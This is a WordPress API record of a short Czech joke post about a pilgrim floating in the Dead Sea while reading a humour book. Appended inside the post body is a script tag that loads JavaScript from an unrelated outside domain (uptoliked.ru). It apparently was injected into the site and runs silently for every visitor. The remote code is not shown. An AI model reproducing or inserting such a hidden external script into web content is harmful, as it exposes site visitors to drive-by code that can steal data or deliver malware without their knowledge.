{"id":324,"date":"2009-09-21T08:24:44","date_gmt":"2009-09-21T07:24:44","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=324"},"modified":"2009-09-26T21:08:03","modified_gmt":"2009-09-26T20:08:03","slug":"humor-2","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=324","title":{"rendered":"Humor &#8222;Nov\u00e1kovsk\u00fd&#8220;"},"content":{"rendered":"<p>Pan Nov\u00e1k se vr\u00e1til z pout\u011b do Svat\u00e9 zem\u011b a l\u00ed\u010dil z\u00e1\u017eitky: &#8222;Nejv\u011bt\u0161\u00ed dojem na mne ud\u011blalo koup\u00e1n\u00ed v Mrtv\u00e9m mo\u0159i. To si, pan\u00ed Vom\u00e1\u010dkov\u00e1, nenechte uj\u00edt. J\u00e1 jsem si lehl na hladinu, \u010dlov\u011bk p\u0159i tom nemus\u00ed nic d\u011blat, to nese samo a \u010detl jsem si kn\u00ed\u017eku Humor za kostelem.&#8220;<br \/>\nKdy\u017e se pan\u00ed Vom\u00e1\u010dkov\u00e1 vr\u00e1tila z pout\u011b, vypt\u00e1val se j\u00ed pan Nov\u00e1k: &#8222;Tak jak se v\u00e1m l\u00edbilo koup\u00e1n\u00ed v Mrtv\u00e9m mo\u0159i?&#8220; &#8222;Ani nemluvte, pane Nov\u00e1k, nebylo z toho nic! Kr\u00e1sn\u00e9 po\u010das\u00ed, p\u0159i\u0161li jsme na pl\u00e1\u017e, p\u0159evl\u00e9knu se do plavek a kouk\u00e1m, \u017ee jsem ten Humor za kostelem nechala doma.&#8220;<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>Pan Nov\u00e1k se vr\u00e1til z pout\u011b do Svat\u00e9 zem\u011b a l\u00ed\u010dil z\u00e1\u017eitky: &#8222;Nejv\u011bt\u0161\u00ed dojem na mne ud\u011blalo koup\u00e1n\u00ed v Mrtv\u00e9m mo\u0159i. To si, pan\u00ed Vom\u00e1\u010dkov\u00e1, nenechte uj\u00edt. J\u00e1 jsem si&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=324\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":24,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[11],"tags":[],"class_list":["post-324","post","type-post","status-publish","format-standard","hentry","category-11"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=324"}],"version-history":[{"count":6,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/324\/revisions"}],"predecessor-version":[{"id":5996,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/324\/revisions\/5996"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}